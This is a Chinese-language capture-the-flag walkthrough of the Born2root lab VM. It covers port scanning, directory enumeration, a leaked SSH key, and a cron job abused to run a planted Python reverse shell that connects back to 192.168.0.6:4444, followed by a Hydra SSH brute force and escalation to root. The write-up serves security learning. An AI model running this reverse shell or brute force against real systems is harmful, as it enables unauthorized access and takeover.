介绍

HackGameName:Born2root’s Level:Medium Task:Get?/root/flag.txt
学习到的知识
利用Linux的/etc/crontab文件获取Shell 利用Hadry暴力枚举SSH登陆密码
信息搜集
先是扫描一下?eth0?网卡下有哪些主机存活(wifi连接的网卡)

扫描出来后,发现靶机 IP :192.168.0.49,获取到?IP?之后对它进行?NMAP?端口扫描:

扫描出来它开放了三个端口:22,80,111,操作系统是Linux,内核版本是3.2-4.9(模糊):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| 22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey:
| 1024 3d:6f:40:88:76:6a:1d:a1:fd:91:0f:dc:86:b7:81:13 (DSA)
| 2048 eb:29:c0:cb:eb:9a:0b:52:e7:9c:c4:a6:67:dc:33:e1 (RSA)
| 256 d4:02:99:b0:e7:7d:40:18:64:df:3b:28:5b:9e:f9:07 (ECDSA)
|_ 256 e9:c4:0c:6d:4b:15:4a:58:4f:69:cd:df:13:76:32:4e (ED25519)
80/tcp open http Apache httpd 2.4.10 ((Debian))
| http-robots.txt: 2 disallowed entries
|_/wordpress-blog /files
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Secretsec Company
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 46136/udp6 status
| 100024 1 47014/udp status
| 100024 1 53732/tcp6 status
|_ 100024 1 56378/tcp status
|

通过扫描出来的开放服务,我对它进行来搜索,看看有没有对应的漏洞,很显然通过上图来看它们是没有漏洞的!那么我们继续从web开始!
使用?dirb?对web目录进行探测枚举:
1
| dirb http://192.168.0.49/
|

访问?files?是一个目录遍历,但是里面是空的;接着访问了?http://192.168.0.49/icons/?发现也是一个目录遍历,里面泄漏了很多文件:

其中有一个文件?VDSoyuAXiO.txt?打开后发现是一个?ssh?的密钥:
1
| http://192.168.0.49/icons/VDSoyuAXiO.txt
|

这个很显然是一个?ssh-keygen?生成的私钥文件!原文件名应该是:id_rsa,通过这个文件我们可以对它进行破解,我们先保存起!继续信息搜集!

通过访问?robots.txt?后我发现它有两个文件,但是打开后发现没啥用:


最后通过访问?index.html?发现它泄漏了一个手机号和三个用户以及一枚邮箱:
1
2
3
| tel:052-452-990-054
user:Martin、Hadi、Jimmy
email:martin@sercetsec.com
|

通过信息搜集后,我从web得到了一些用户名、邮箱,最重要的是我还得到了一个?ssh?的私钥!
登陆SSH
通过刚刚的信息搜集我利用?wget?把文件VDSoyuAXiO.txt下载到本地并重命名为?id_rsa?文件:

因为刚刚得到了几个用户,通过社工到手段再结合利用这个私钥我尝试?ssh登陆三个用户,最终是登陆了?martn?用户:
1
| ssh -i id_rsa martin@192.168.0.49
|

登陆到?martin?用户后,我通过查看?passwd?文件发现了三个用户,那三个用户正是刚刚信息搜集得到到用户:

接着我来到?home?目录下的?hadi?用户,我发现里面没有啥文件可以利用的:

接着尝试进入?jimmy?用户目录发现权限不够,进入不了:

利用定时任务反弹Shell
通过查看?/etc/crontab?目录,我发现了一个定时任务:

在?/tmp(临时目录)下有一个?sekurity.py?文件,jimmy?用户会每隔五分钟运行一次!那么,我们可不可以通过这个来反弹Shell呢?
通过进入?tmp?目录发现里面是空的,啥文件都没有:

然后创建一个?sekurity.py?文件,里面内容是通过 socket、subprocess、os模块,通过套接字监听?kali?的?ip和端口:

1
2
3
4
5
6
7
| import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.0.6",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);
|
然后?Kali?使用?nc?监听?4444?端口:
过了五分钟后,通过nc得到了一枚shell:

通过信息收集发现?jimmy?用户没得?flag?文件,那么估计就在?hadi?用户哪里!

这个时候我通过一系列的翻文件和一些关键信息,我没有找到可以利用的地方,没办法只能通过最暴力的办法获取hadi用户:暴力枚举!
Hadry爆破SSH
通过字典生成,我生成了有关?hadi?的字典文件:


利用Hadry爆破SSH:
1
2
| hydra -l hadi -P dic.txt 192.168.0.49 ssh -v
其中-l 指定用户名,可以使用-L指定用户名字典文件;-p指定密码,-P指定密码字典文件;-v显示详细的执行过程;-f爆破成功后就停止枚举。
|

通过暴力枚举后,得到?hadi?的密码是?hadi123!

通过登陆到?hadi?用户后,su?切换?root?用户,密码为?hadi123:

最终在?root?目录下得到了?flag?!
交流群:

?微信公众号:

?知识星球:

?
|